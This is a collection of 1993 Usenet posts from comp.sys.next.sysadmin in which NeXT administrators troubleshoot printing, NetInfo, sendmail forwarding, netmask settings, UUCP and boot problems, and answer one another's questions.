I've tried. Lpd starts up and spawns processes when files are spooled. Lpq reports the printer is not responding. What I'm hoping is that someone out there is happily printing on a HP LaserJet via a serial port. I would very much like to know what are your NetInfo parameters (the printcap database), and what are the connections on your serial cable (test with an ohm-meter?). Essentially what you did to get the system functional. Some people have talked about drivers being necessary. I'm not inclined to beleive this because I can't even get a simple connection running to print basic TEXT files from the command line of the terminal. Even so, the HPLJ4 autodetects PostScript Level II. If someone out there has this information, I would really appreciate the time spent on a reply. Thanks again! -bogdan (bogdan@eecs.nwu.edu) (708) 864-9176 Home (708) 491-1165 Work
From: slv0y@cc.usu.edu Newsgroups: comp.sys.next.sysadmin Subject: Printer connected via TCPIP...How? Message-ID: <1993Feb26.170803.64575@cc.usu.edu> Date: 26 Feb 93 17:08:03 MDT Organization: Utah State University I am getting ready to add a NewGen Turbo PS/1200T Laser printer to our network. I know how to set up the printer via the serial port, but this printer also has an ethernet connector. I would like to have the printer on the network via ethernet, but I can't seem to find any mention in the docs on how to accomplish this. I can see no way to tell PrintManager to change the communications from serial to TCPIP. Where does the PrintManager app get the printer communication information from? I knows how the NeXT color printer should communicate (via SCSI), but that information isn't contained in the PPD file... Any help on getting a printer to work via TCPIP would be greatly appreciated. I would like to have the same functionality as if it was connected via the serial port (i.e. via the PrintPanel not via messy shell scripts). Thanks a lot! John Z. slv0y@cc.usu.edu
From: sherlock@holmes.bsd.uchicago.edu (John R. Avery) Newsgroups: comp.sys.next.sysadmin Subject: Re: pcnfsd for the NeXT Message-ID: <1993Feb26.211253.22916@midway.uchicago.edu> Date: 26 Feb 93 21:12:53 GMT References: <1993Feb25.164213.15398@schbbs.mot.com> Sender: news@uchinews.uchicago.edu (News System) Organization: University of Chicago Computing Organizations In article <1993Feb25.164213.15398@schbbs.mot.com> o10035@nextphx.corp.mot.com (Jerry DeLuyck) writes: > Has anyone successfully compiled the rpc.pcnfsd (version 2) on the NeXT? NS > 3.0 ships with an rpc.pcnfsd, but alas it is version 1 which leaves out a lot > of features. I'm afraid that this will seem awfully ignorant but my curiosity has got the better of me. First, I haven't heard of any version-2 of rpc.pcnfsd on the NeXT. That aside, I don't understand why anyone would need it for the NeXT. The only thing that occurs to me --about combining NeXTs, PC/DOS software, and NFS-- is that, if one were to want to run DOS application on a NeXT then one would use something like Insignia's SoftPC for NeXT, and if one were to do that then --because SoftPC runs within NeXTStep which is a superset of a version of unix that incluces NFS capabilities-- one wouldn't need a separate NFS daemon for the DOS stuff running on the NeXT. Apparently (obviously?) I'm missing something, here. Can someone please explain it to me? Tx, mucho. --sherlock (It's because of the hat. Only the hat.)
From: sherlock@holmes.bsd.uchicago.edu (John R. Avery) Newsgroups: comp.sys.next.sysadmin Subject: name change and domain-name change Message-ID: <1993Feb26.212030.23416@midway.uchicago.edu> Date: 26 Feb 93 21:20:30 GMT Sender: news@uchinews.uchicago.edu (News System) Organization: University of Chicago Computing Organizations I recently had to change the IP name of one of my NeXTs. After having done so, I noticed that this machine's domainname had not changed but was/is the same as the previous name of the machine. I'm not a seasoned NeXT-sysadmin, and the other person, from whom I got the instructions about how to change the name, said that she doesn't understand why the domainname didn't change automatically. Can someone please explain how to accomplish the domainname change so that it will match the machine's new IP name? We've got three NeXTs that are NFS clients of a Sun SS1+. Of course, one of these three NeXTs is the NetInfo server for itself and the other two. It is one of the other two whose name I changed. Thanks. --sherlock
Newsgroups: comp.sys.next.sysadmin From: root@imagine.com (Operator) Subject: sc: scintr program error <-- Help Me! Message-ID: <1993Feb27.044825.1925@imagine.com> Sender: henryf@imagine.com Organization: Imagine Multimedia, Inc., Ann Arbor, MI, USA Date: Sat, 27 Feb 1993 04:48:25 GMT On boot up, my computer gives this message: boot sd(0,0,0)sdmach booting SCSI target 1, lun 0 sc: scintr program error <--- this can happen up to 3 times before continuing an otherwise normal boot process I've been experiencing gremlins on my computer for the past two weeks, but only tonight did one of those gremlins come up as a repeatable problem, and thus worth tracking down. Hence, I have no idea how long my machine has displayed the above error. My repeatable gremlin is a compilation of a particular file which, until today, always compiled fine, but now generates warnings (which are not valid). The same file compiles fine on another machine. I've checked all files in /lib, /usr/include, and /bin. All of these files are exactly the same as the files on my working machine. I've fsck'd my drives (everythings OK), I've changed the location of tmp to another drive, I've rebooted the system, and I've run DRAM tests. In short, the only anomaly on my system I can find is the above error messages. So, I'm asking the questions - what does "scintr program error" mean, and how can I rectify the problem? Thanks much! - Henry Flurry - Imagine Multimedia, Inc.
Newsgroups: comp.sys.next.sysadmin From: mross@antigone.com Subject: Re: FaxDaemon dying Message-ID: <1993Feb27.073628.15961@antigone.com> Organization: Antigone Press gateway, San Francisco References: <1993Feb24.033944.380@leeweyr.sccsi.com> Date: Sat, 27 Feb 1993 07:36:28 GMT Bill Lee (bill@leeweyr.sccsi.com) wrote: : I am running a Neuron 1414 system on my 2.1 NeXT. Lately I have : been having trouble with the FaxDaemon dying. I will look one minute : and it's there, and the next it is gone. And when it's gone, my : uucp feed is dead. Neuron is dead. Neither its software nor its president were worth two bits. My advice: Under the case of the Neuron 1414 lies a wonderful ZyXEL U1496. Call up ZyXEL (800-255-4101) and ask them for their latest ROM upgrade. You will have to send the modem in but they will turn it around the same day they receive it. With Fedex shipping both ways you'll get it back in two days. Junk the Neuron software. Get NXFax from one of the ftp sites and enjoy flawless faxing, uucp, dial-in/dial-out & SLIP... Yes there is a cost involved ($35 for the upgrade, about $40 Fedex, $135 to unlock NXFax from the demo version) but both these companies have _great_ tech support. NXFax will soon be supporting voice mail ZyXEL features too... -- Michael Ross Antigone Press, San Francisco, California e-mail: mross@antigone.com FAX: +1 415 431 3650
Newsgroups: comp.sys.next.sysadmin From: mross@antigone.com Subject: Re: LISTSERVER for NeXTs??? Message-ID: <1993Feb27.074716.16063@antigone.com> Organization: Antigone Press gateway, San Francisco References: <1993Feb26.134024.12386@worldbank.org> Date: Sat, 27 Feb 1993 07:47:16 GMT masud cader (masud@invnext.worldbank.org) wrote: : I would like to implement a mail listserver on my NeXT. Is there any code : which I can recompile and which is nown to work. Basically I wish to provide : subscribe/unsubscribe, help, get and put from within mail messages. I am running NEXT-L and several other _large_ lists on a NeXT using unix-listserv. It is fully ported to the NeXT with only the statistics not working (due to the lack of awk() on the NeXT. You can ftp the whole package from cs.bu.edu. It is as functional as listservs go. (You can test it out from the user point of view by mailing LISTSERV@antigone.com). Version 5.5 is current, with 6.0 in beta with lots of goodies. The author is Anastasios Katsakonis (tasos@cs.bu.edu). He is stubborn, but usually helpful. There is also a list supporting unix-listserv operators: unix-listserv@stormking.com subscribe by mailing listserv@stormking.com in the usual manner. All in all, it's a very powerful program. I highly recommend it. Cheers. -- Michael Ross Antigone Press, San Francisco, California e-mail: mross@antigone.com FAX: +1 415 431 3650
Newsgroups: comp.sys.next.sysadmin From: jypai@ccnext.csie.nctu.edu.tw Subject: Re: How to export NeXT printer to Suns? Message-ID: <C33oAL.L8w@csie.nctu.edu.tw> Sender: usenet@csie.nctu.edu.tw Organization: Computer Sci. & Information Eng., Chiao-Tung U, Taiwan, ROC References: <1992Nov22.182521.15708@galileo.cc.rochester.edu> Date: Sat, 27 Feb 1993 09:13:33 GMT In article <1992Nov22.182521.15708@galileo.cc.rochester.edu> ffor@troi.cc.rochester.edu (Frederick (Jackie) Ford) writes: > In article <13337@optilink.COM> brad@optilink.COM (Brad Yearwood) writes: > >I have one NeXT with printer, running 2.1, amidst a sea of Suns. I've > >been running for a long time with the NeXT's Network Type configured > >as Non-NetInfo Network, with NIS enabled. The printer is a recent addition. > > > >Local print works fine, but I can't get the printer exported. If I just > >try a print operation from a remote Sun, I get: > > > > ... /usr/lib/lpd: Local_Printer: Your host does not have line printer access > > > >If I go to PrintManager, and try to enable Public access, I get an Alert box > >complaining "Printer cannot be exported to this same computer". > > > >What am I doing wrong? > > > >Brad Yearwood brad@optilink.com {uunet, pyramid}!optilink!brad > >Petaluma, CA > > I have the exact same problem in reverse! I would like to print > remotely from our NeXTstation to a SparcPrinter attatched to a Sparc > 2. I have added the appropriate printcap entry in NetInfo and added > the hostname of the NeXT to /etc/hosts.lpd on the Sparc. When I try to > print to the remote printer the job is queued in the local queue but I > get a message from the Sparc "Your host does not have line printer > access". I have spoken to the local Sun experts, but they are at a > loss. I have also spoken with a local NeXT expert who is also at a > loss. Note that the Sparc prints to the SparcPrinter locally without > problems and that the Sparc is *not* running NIS. Also note that both > machines can resolve the hostnames successfully (ie, telnet and ftp > work fine using hostnames). > > What am I doing wrong? it seems no one knows the solution to this. No one follow this article (which was posted 3 months ago) -- Yuan +---------------------------------------------------+ | Internet Address : jypai@csie.nctu.edu.tw | | For NeXT mail ONLY: jypai@ccnext.csie.nctu.edu.tw | +---------------------------------------------------+
Newsgroups: comp.sys.next.sysadmin From: jypai@ccnext.csie.nctu.edu.tw Subject: Re: how to restart lpd? Message-ID: <C33oJ4.LAF@csie.nctu.edu.tw> Sender: usenet@csie.nctu.edu.tw Organization: Computer Sci. & Information Eng., Chiao-Tung U, Taiwan, ROC References: <C2yvnv.GxC@news.cso.uiuc.edu> Date: Sat, 27 Feb 1993 09:18:40 GMT In article <C2yvnv.GxC@news.cso.uiuc.edu> camilleg@cmp-rt.music.uiuc.edu (Camille M. Goudeseune) writes: > From yet another struggling sysadmin... Running 2.1, every few days lpd > stops working. > > Symptoms: from Preview, the "can't print" dialog; > from lpr, things go into the queue but just pile up there. > > Solutions: Mucking around with lpc is to no avail. restart or start > creates the daemon for a little while and then it dies again. > Rebooting works, but is inconvenient when you're halfway through a > 3 cpu-day process. -- i encountered similar situation before. my conclusion is that "local user can't print" (though the job still enters the queue without error) local means NOT on YP. (Though the printer is connected to the NeXTstation directly) My NeXTstation is one part of a big mixing system ( Suns, iris, rs6000) the home server is a Sun Sparc2. we use YP. Yuan +---------------------------------------------------+ | Internet Address : jypai@csie.nctu.edu.tw | | For NeXT mail ONLY: jypai@ccnext.csie.nctu.edu.tw | +---------------------------------------------------+
Newsgroups: comp.sys.next.sysadmin From: bvrotney@ADS.COM (Bill Vrotney) Subject: "find tar" idiom not working in NS 3.0 Message-ID: <1993Feb27.091115.16239@ads.com> Sender: usenet@ads.com (USENET News) Organization: Advanced Decision Systems, Mtn. View, CA (415) 960-7300 Date: Sat, 27 Feb 1993 09:11:15 GMT Warning! Having done file backups using the "find tar" idiom, find <find expression> -exec tar -rvf <tar file> {} \; under NS 2.0, I was shocked to find out that under NS 3.0 the files were not being saved properly. They seem to be getting truncated or extra files added, for example f1,f2,f3,f4,f5 might tar back as f1,f2 or f1,f2,f3,f4,f5,f2,f3. Everything looks like its going fine until you try to restore the files. Does anyone know of a work around for this? Is there an archive that describes NS 3.0 bugs and work arounds? -- Bill Vrotney BAH/Advanced Decision Systems
Newsgroups: comp.sys.next.sysadmin From: pyrros@ulysses.att.com (Christos T. Pyrros) Subject: Re: pcnfsd *version 2* for the NeXT Message-ID: <1993Feb27.071121.1106@ulysses.att.com> Date: Sat, 27 Feb 1993 07:11:21 GMT References: <1993Feb26.211253.22916@midway.uchicago.edu> Organization: AT&T Bell Laboratories, Murray Hill In article <1993Feb26.211253.22916@midway.uchicago.edu> sherlock@holmes.bsd.uchicago.edu (John R. Avery) writes: > In article <1993Feb25.164213.15398@schbbs.mot.com> > o10035@nextphx.corp.mot.com (Jerry DeLuyck) writes: > > Has anyone successfully compiled the rpc.pcnfsd (version 2) on the NeXT? Yes!! If anyone want's it I can NeXTMail it, or I'll post it to sonata if there's alot of interest.
Newsgroups: comp.sys.next.sysadmin From: bnocker@cosy.sbg.ac.at (Bernhard Nocker) Subject: Re: How to export NeXT printer to Suns? Message-ID: <C33xpy.9uL@cosy.sbg.ac.at> Sender: news@cosy.sbg.ac.at Organization: University of Salzburg / Austria References: <C33oAL.L8w@csie.nctu.edu.tw> Date: Sat, 27 Feb 1993 12:37:10 GMT In article <C33oAL.L8w@csie.nctu.edu.tw> jypai@ccnext.csie.nctu.edu.tw writes: > In article <1992Nov22.182521.15708@galileo.cc.rochester.edu> > > > [...] > > > ... /usr/lib/lpd: Local_Printer: Your host does not have line printer > access > > > > > >If I go to PrintManager, and try to enable Public access, I get an Alert > box > > >complaining "Printer cannot be exported to this same computer". > > > [...] stuff deleted This issues have been discussed many times one year ago and that's possibly the reason why nobody follows up. To solve the problems again: 1.) "Printer cannot be exported to this same computer" Reason: You only have a local netinfo domain. Solution: Even within a heterogenous environment it makes sense to make a NeXT its own netinfo server. Enter all machines that need access to the NeXT printer afterwards with HostManager to the global netinfo domain. You can now export the printer to the root domain (/) and all machines in this domain can access it. If you don't want to create a netinfo server you can solve the problem with adding the properties sharedTo:/ and sharedAs:/NeXT_Printer to the Local_Printer entry in your local netinfo domain. 2.) /usr/lib/lpd: Local_Printer: Your host does not have line printer access Reason: the Suns /etc/printcap contains :rp=lp: Solution: lp is an unknown printer for the NeXT so the request is rejected. You can add an alias lp for your Local_Printer on the NeXT but it is even better to change :rp=lp: to :rp=Local_Printer: in /etc/printcap on the remote non-NeXT. If you need any further help, feel free to contact me, Bernhard PS: comp.sys.next.sysadmin of year '92 contains a more complete description of solving such problems. -- Bernhard Nocker University of Salzburg's Department of Computing Studies Jakob-Haringerstr. 5 5020 Salzburg Austria, Europe Tel: +43-662-8044/6316 bnocker@cosy.sbg.ac.at Fax: +43-662-8044/6316 or +43-662-8044/611
From: robert@steffi.demon.co.uk (Robert David Nicholson) Newsgroups: comp.sys.next.sysadmin Subject: Terminal Services woes Date: 27 Feb 1993 10:43:03 -0000 Organization: me organized? That's a joke! Distribution: world Message-ID: <1mngjn$4d1@steffi.demon.co.uk> Im trying to add some terminal services. Can somebody tell me how I can have it so that the services are automatically included. Is there a file in ~/Library/Services that it looks for? Currently my services are not updating to reflect the changes I have made.
Newsgroups: comp.sys.next.sysadmin From: dicosmo@dmi.ens.fr (Roberto DiCosmo) Subject: Re: How to export NeXT printer to Suns? (some answer) Message-ID: <1993Feb27.135009.1190@ens.fr> Sender: news@ens.fr (USENET News System) Organization: Ecole Normale Superieure, PARIS, France References: <C33oAL.L8w@csie.nctu.edu.tw> Date: Sat, 27 Feb 93 13:50:09 GMT In article <C33oAL.L8w@csie.nctu.edu.tw> jypai@ccnext.csie.nctu.edu.tw writes: > In article <1992Nov22.182521.15708@galileo.cc.rochester.edu> > ffor@troi.cc.rochester.edu (Frederick (Jackie) Ford) writes: > > In article <13337@optilink.COM> brad@optilink.COM (Brad Yearwood) writes: > > >I have one NeXT with printer, running 2.1, amidst a sea of Suns. I've > > >been running for a long time with the NeXT's Network Type configured > > >as Non-NetInfo Network, with NIS enabled. The printer is a recent > addition. > > > > > >Local print works fine, but I can't get the printer exported. If I just > > >try a print operation from a remote Sun, I get: > > > > > > ... /usr/lib/lpd: Local_Printer: Your host does not have line printer > access > > > > > >If I go to PrintManager, and try to enable Public access, I get an Alert > box > > >complaining "Printer cannot be exported to this same computer". > > > > > >What am I doing wrong? > > > > > >Brad Yearwood brad@optilink.com {uunet, pyramid}!optilink!brad > > >Petaluma, CA > > > > I have the exact same problem in reverse! I would like to print > > remotely from our NeXTstation to a SparcPrinter attatched to a Sparc > > 2. I have added the appropriate printcap entry in NetInfo and added > > the hostname of the NeXT to /etc/hosts.lpd on the Sparc. When I try to > > print to the remote printer the job is queued in the local queue but I > > get a message from the Sparc "Your host does not have line printer > > access". I have spoken to the local Sun experts, but they are at a > > loss. I have also spoken with a local NeXT expert who is also at a > > loss. Note that the Sparc prints to the SparcPrinter locally without > > problems and that the Sparc is *not* running NIS. Also note that both > > machines can resolve the hostnames successfully (ie, telnet and ftp > > work fine using hostnames). > > > > What am I doing wrong? > > it seems no one knows the solution to this. > No one follow this article (which was posted 3 months ago) > > -- > > Yuan > +---------------------------------------------------+ > | Internet Address : jypai@csie.nctu.edu.tw | > | For NeXT mail ONLY: jypai@ccnext.csie.nctu.edu.tw | > +---------------------------------------------------+ Say your Local_Printer is known as nwp on the network Actually, this kind of messages can originate for at least two reasons a: on the machine owning the printer you did not configure properly your hosts.equiv or hosts.lpd files please read the documentation and verify that they are properly set up to allow the other computers on the net to access your printer b: on the machine owning the printer you have a not properly configured printcap do the folowing: nidump printcap . > /tmp/printcap look at /tmp/printcap and check that the entry for the printer nwp has an entry with the field :rm=Local_Printer in it If not, edit /tmp/printcap to add this field/entry and niload printcap . < /tmp/printcap After checkin a+b, restart your computer ... this ought to work. Anyway, all this is pretty well described in the ReleaseNotes for 3.0!!! -- Roberto Di Cosmo <dicosmo@dmi.ens.fr> LIENS Ecole Normale Superieure 45, Rue d'Ulm 75005 Paris FRANCE
Newsgroups: comp.sys.next.sysadmin From: lemson@ux1.cso.uiuc.edu (David Lemson) Subject: Re: .forward does not work with NeXT sendmail? Message-ID: <C349z5.1uB@ux1.cso.uiuc.edu> Organization: University of Illinois at Urbana References: <1993Feb24.204131.13304@rna.indiv.nluug.nl> Date: Sat, 27 Feb 1993 17:01:39 GMT gerben@rna.indiv.nluug.nl writes: >I seem to be unable to get ~/.forward to work. I have a .forward file in my >home directory, but it seems to be unused by sendmail. (The man page of aliases >mentions it). Even running newaliases doesn't help. >Has NeXT removed the functionality because of some Netinfo hack, or what? >Help is very much appreciated (since I am leaving for 2 weeks tomorrow, and i >want it functional before my departure). Nope, it does indeed work. Here are some things to check: In order for it to work, the sendmail process on whichever machine is actually accepting the mail (wherever the DNS MX record is pointing for the target of the mail... if there is no MX record, then this is the target itself) must be able to access ~username/.forward to check it. Sendmail is run as root so root must be able to access this file. This is a problem if your home directory is NFS mounted onto the target machine, because the directory must be exported with the root option. -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin From: woo@woonext.dsrd.ornl.gov (John W. Wooten) Subject: netmask not sticking! Message-ID: <1993Feb27.171623.26687@ornl.gov> Sender: usenet@ornl.gov (News poster) Organization: Oak Ridge National Laboratory Date: Sat, 27 Feb 1993 17:16:23 GMT I have a classroom full of NeXTs using 3.0. I've set up all of them as clients of one named polaris. I originally used Simple Network Setup and for some reason found that the host worked fine for networking but the clients did not have an /etc/resolv.conf and didn't know about the hosts. In addition, the IP masks and broadcast had been set in the host configuration when the host polaris was configured, BUT the /etc/hostconfig was not correct on the clients and again the info didn't seem to come from the host correctly. SO, I fixed each /etc/resolv.conf and edited each /etc/hostconfig so that I set the netmask and broadcast addr correctly. I changed nothing else there that I know of. If I then typed /etc/ifconfig en0 from any of the clients I got the following: altair:woo 51 % /etc/ifconfig en0 en0: flags=8063<UP,BROADCAST,NOTRAILERS,RUNNING> inet 160.91.80.12 netmask ffff0000 broadcast 160.91.80.255 We should have gotten everything the same except the netmask which has been set everywhere I can think of to: ffffff00 we manually went to each station and did /etc/ifconfig en0 netmask 0xffffff00 and things worked, but if we power down and back up we get the newmask reset to ffff0000. WHERE is this info stored so it will come back up correctly? J. W. Wooten
Newsgroups: comp.sys.next.sysadmin From: larry@owrlakh.wl.aecl.ca (Larry Gadallah) Subject: What does this console message mean? Message-ID: <1993Feb27.185527.6770@cu23.crl.aecl.ca> Keywords: Mail 2.1 deallocate port Sender: news@cu23.crl.aecl.ca (USENET News System) Organization: AECL-Research Date: Sat, 27 Feb 1993 18:55:27 GMT I am running 2.1 (still) and I recently noticed a couple of messages that show up on the console when Mail.app is launched and shutdown. They look like this: On launch of Mail.app owrlakh mach_init[2]: Registered new service MailFetch_port looks OK, but note this message upon _quitting_ Mail.app owrlakh mach_init[2]: Service MailFetch_port failed - deallocate Is this normal? What does it mean? Is the deallocation of a port considered an error by the server? Thanks, -- --------------------------------------------------------------------- Larry Gadallah Amateur Radio VE4TCP Pinawa, Manitoba, Canada IP [44.135.114.9] larry@owrlakh.wl.aecl.ca Voice (204) 753-2300 ---------------------------------------------------------------------
From: robert@steffi.demon.co.uk (Robert David Nicholson) Newsgroups: comp.sys.next.sysadmin Subject: cancel <1mngjn$4d1@steffi.demon.co.uk> Message-ID: <1mo0p6$20m@steffi.demon.co.uk> Date: 27 Feb 93 15:19:02 GMT Control: cancel <1mngjn$4d1@steffi.demon.co.uk> Organization: me organized? That's a joke! Article cancelled from within tin [v1.1 PL8]
Newsgroups: comp.sys.next.sysadmin From: rhamel@iat.holonet.net (Richard Hamel) Subject: UUCP setup help! Message-ID: <C34nBC.Ms@iat.holonet.net> Organization: HoloNet National Internet Access BBS: 510-704-1058/modem Date: Sat, 27 Feb 1993 21:49:58 GMT I am having probelms setting up UUCP on my NeXT (3.0) my current config is as follows: L.sys holonet Any DIR 9600 cufa \ ABORT BUSY \ "" AT \ "" ATDT15107041058 \ CONNECT~20 PAUSE \ elp):~15-CR-elp):~10-CR-elp):~5-BREAK-elp):~5 holonet \ uest"):~15-CR-uest"):~10-CR-uest"):~5-BREAK-uest"):~5 XXXXXXX \ ssword:~10 XXXXXXX \ one:~10 uucp Any help would be appreciated. Richard Hamel rhamel@holonet.net
From: doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott) Newsgroups: comp.sys.next.sysadmin Subject: Account file for network NeXT Printer Message-ID: <7819@ucsbcsl.ucsb.edu> Date: 27 Feb 93 23:40:43 GMT Sender: root@ucsbcsl.ucsb.edu Organization: Center for Computer Music Research and Composition, U.C.S.B. I have a single NeXT Laser Printer on one of our 5 NeXTs, and I wish to have a log of all transactions that take place on that printer. I have added the 'af' option to the printcap via NetInfoManager, but nothing shows up in it. It is not clear whether this file should be on the printer-host machine, or the Netinfo host machine. I touched the file that I chose so that it would exist. None of this helps. Has anyone done this successfully? Also, I get no audio warnings when the printer is out of paper, etc. Is there a way to get this to happen regardless of which machine I print from? Thanks! -- Douglas Scott (805)893-8352 Center for Computer Music Research and Composition University of California, Santa Barbara Internet: (NeXTMail ok) <doug@foxtrot.ccmrc.ucsb.edu>
Newsgroups: comp.sys.next.sysadmin From: lemson@ux1.cso.uiuc.edu (David Lemson) Subject: Re: Root can't log in from console anymore, anyone else can... Message-ID: <C34usn.7DG@ux1.cso.uiuc.edu> Keywords: 2.1, Upgrade.app, root, seg fault Organization: University of Illinois at Urbana References: <1993Feb24.221657.17626@mcs.anl.gov> Date: Sun, 28 Feb 1993 00:31:21 GMT korp@eid.anl.gov (Peter A. Korp) writes: >I have a 68040 single headed ND Cube running 2.1 that has had the >Upgrade.app for 3.0 run but never actually upgradedto 3.0. It is on a >network of Suns and is served by a Sun via YP(NIS). >My problem is as follows: any user local or remote can login on the >console with no problem. But trying to log in as root brings up the >workspace and immediatly causes an alert panel to pop up saying signal 10 >internal error, segmentation violation.. blah blah blah... >I have tried removing roots .NeXT directory changing the defaults database >to the same as on other machines all to no avail. Some directory that root is trying to write to is not exported to that machine with the -root option. Try exporting directories with the -root option to that machine, the problem should go away. -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin From: lemson@ux1.cso.uiuc.edu (David Lemson) Subject: Re: Account file for network NeXT Printer Message-ID: <C358CA.F67@ux1.cso.uiuc.edu> Organization: University of Illinois at Urbana References: <7819@ucsbcsl.ucsb.edu> Date: Sun, 28 Feb 1993 05:23:56 GMT doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott) writes: >I have a single NeXT Laser Printer on one of our 5 NeXTs, and I wish to have >a log of all transactions that take place on that printer. I have added the >'af' option to the printcap via NetInfoManager, but nothing shows up in it. >It is not clear whether this file should be on the printer-host machine, or >the Netinfo host machine. I touched the file that I chose so that it would >exist. None of this helps. >Has anyone done this successfully? Yes, it works successfully for me as follows: create the entry in the printcap of the local domain on the printer host. (in the Local_Printer entry) Then, touch the file that af= on that printer host. Don't include an af= in any other netinfo entries for that printer (in case you have it exported to /, in which case another copy of it will be in the printcap for /, with the sharedAs name as its 'name') >Also, I get no audio warnings when the printer is out of paper, etc. Is there >a way to get this to happen regardless of which machine I print from? I don't think so. It will happen on the print host and the machine you're printing from if they're not muted. If anyone has a way to make the warnings always go to a certain machine (a machine where a site operator always sits, for instance), I'd be very interested to know. -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
From: brad@optilink.COM (Brad Yearwood) Newsgroups: comp.sys.next.sysadmin Subject: Query: how to build bootable OD from 3.0 Upgrade CD-ROM Tools floppy? Message-ID: <14701@optilink.COM> Date: 28 Feb 93 03:28:01 GMT Organization: Optilink Corporation, Petaluma, CA Stupid me - forgot to save the article giving the magic recipe for making a bootable OD equivalent of the CD-ROM Tools floppy from the 3.0 upgrade package. I am running 2.1 on a '040 Cube, and am trying to build a bootable 3.0 system on an external HP 1GB disk (using a NEC CDR-73 CD drive and DIT CubeFloppy 2.9 floppy drive). Unfortunately, the combination of the CD drive, the floppy drive, and the available SCSI cables, seems to be just over the edge of working reliably enough to complete installation by starting directly from floppy. On a couple of occasions I've gotten as far as getting the upgrader running, completed newfs on the external disk, and start filling the external disk. After a while, SCSI errors are reported, and the process eventually wedges. I suspect that I could make things work by removing the 380MB Maxtor drive from the cube and swapping in the HP drive, but I'd rather not disturb the cube innards, which have served me very reliably for a couple of years. So I'd rather start from OD, which would let me shorten the SCSI path by cutting the floppy drive out of the picture. I'd appreciate hearing from anyone who knows how to build a bootable OD equivalent to the floppy, and how to boot it if anything less obvious than going to the monitor and saying "bod" or "bod()sdmach" is needed. I tried a straight dd (bs=1024) to /dev/rod0a (killed autodiskmount, inserted the OD when the panel popped up) from a disk file dd'd from the raw floppy. This didn't seem to do it. Do I need some combination of "skip=xxx", "seek=xxxx" or something else, or do I need another step (like maybe "disk -b" with /usr/standalone/boot changed to be the one off the floppy)? Any advice on safety measures (or even feasibility) in alternately booting 2.1 from internal disk, or 3.0 from external disk, would also be appreciated. Brad Yearwood brad@optilink.com {uunet, pyramid}!optilink!brad Petaluma, CA
From: zac@dolphin.com (Zacharias J. Beckman) Newsgroups: comp.sys.next.sysadmin Subject: Constant FSCK At Boot Time - HELP! Message-ID: <1993Feb28.072722.1794@dolphin.com> Date: 28 Feb 93 07:27:22 GMT Sender: zac@dolphin.com Distribution: usa Organization: Dolphin Software Can anyone tell me why our server, fairly recently it seems, has begun to do a file system check on /dev/rsd0a every time it boots? This even happens if the shutdown process was clean and simple, with no hangups or apparent problems with killing any daemons. Nevertheless, it does an fsck during the boot phases Every Time! Please help! Mail suggestions and I'll summarize. -- Zacharias J. Beckman - Dolphin Software Inc. - zac@dolphin.com - use NeXTMAIL! To be "matter of fact" about the world is to blunder into fantasy.... and dull fantasy at that, as the real world is strange and wonderful. --- R. A. Heinlen Those opinions I express herein are my own, I'm fairly sure. --- Z. J. Beckman
From: zac@dolphin.com (Zacharias J. Beckman) Newsgroups: comp.sys.next.sysadmin Subject: Permanently Mounting a CD-ROM? Help! Message-ID: <1993Feb28.072837.1851@dolphin.com> Date: 28 Feb 93 07:28:37 GMT Sender: zac@dolphin.com Distribution: usa Organization: Dolphin Software Can anyone tell me how to permanently mount a CD-ROM? We have several ROMs now and I'd like to keep one or two of them online at all times. If you have any ideas, please email and I'll summarize. Thanks in advance. -- Zacharias J. Beckman - Dolphin Software Inc. - zac@dolphin.com - use NeXTMAIL! To be "matter of fact" about the world is to blunder into fantasy.... and dull fantasy at that, as the real world is strange and wonderful. --- R. A. Heinlen Those opinions I express herein are my own, I'm fairly sure. --- Z. J. Beckman
From: robert@steffi.demon.co.uk (Robert David Nicholson) Newsgroups: comp.sys.next.sysadmin Subject: Power up at a certain time Date: 28 Feb 1993 12:37:07 -0000 Organization: me organized? That's a joke! Distribution: world Message-ID: <1mqblj$185@steffi.demon.co.uk> My machine supports the power on at a certain time feature in Preferences Is this limited to root only? It doesn't appear to work for a member of the wheel group? Any clues?
Newsgroups: comp.sys.next.sysadmin From: ajones@oxy.edu (A. Lee Jones) Subject: Re: lpr - No such file or directory Message-ID: <1993Feb28.204840.9542@cheshire.oxy.edu> Sender: usenet@cheshire.oxy.edu (System Account) Organization: Occidental College, Los Angeles, CA. USA References: <1993Feb26.134619.22483@rchland.ibm.com> Date: Sun, 28 Feb 1993 20:48:40 GMT In article <1993Feb26.134619.22483@rchland.ibm.com> tpg@rchland.vnet.ibm.com (Terry Gliedt) writes: > After finally converting from NS2.1 to 3.0 I have been trying to get my DeskJet > printer to work. I installed the latest djf for 3.0 package and all appeared to > be just fine. However when I try printing, I get the following (or something > close, this is from memory) from lpr: > > lpr: connect: no such file or directory > cannot restart printer daemon > > After checking the BSD sources for lpr and lpd, it appears that lpd establishes a > named socket (/dev/printer, which I can see in /dev BTW). Using strings on a BSD > system here at work, I can see "/dev/printer" in the binaries. Doing the same on > my NeXTstation, I see "/dev/printer" in lpd, but not in lpr. > > Further investigation shows the following msg in /usr/adm/messages: > > lpd: Name lpr Msg connect "/dev/lpd/printer" No such file or directory > > Excuse me? "/dev/*LPD*/printer" !?? Sure enough, this string can be found in > both binaries. Whats going on here ? The data from lpr gets properly queued, its > just that lpd never gets notified about it and so never prints the data. I've > even gone back the CDROM to check I had the proper binaries that /etc/services > was the same. > > I'd appreciate some advice. Thanks ! I am having this exact problem, too (though I have no DeskJets). I have several NeXTs all on a local ethernet, sharing printers. All of the machines but work just fine with the three printers (one Apple LaserWriter IINTX, two NeXTPrinters) which are available. The NeXT that has problems won't work with _any_ of the three printers, and the messages reported are exactly what were reported above. I am stymied. I also would appreciate any advice. Thank you in advance... ------------------------------------------------ a. lee jones ajones@oxy.edu NeXTnet 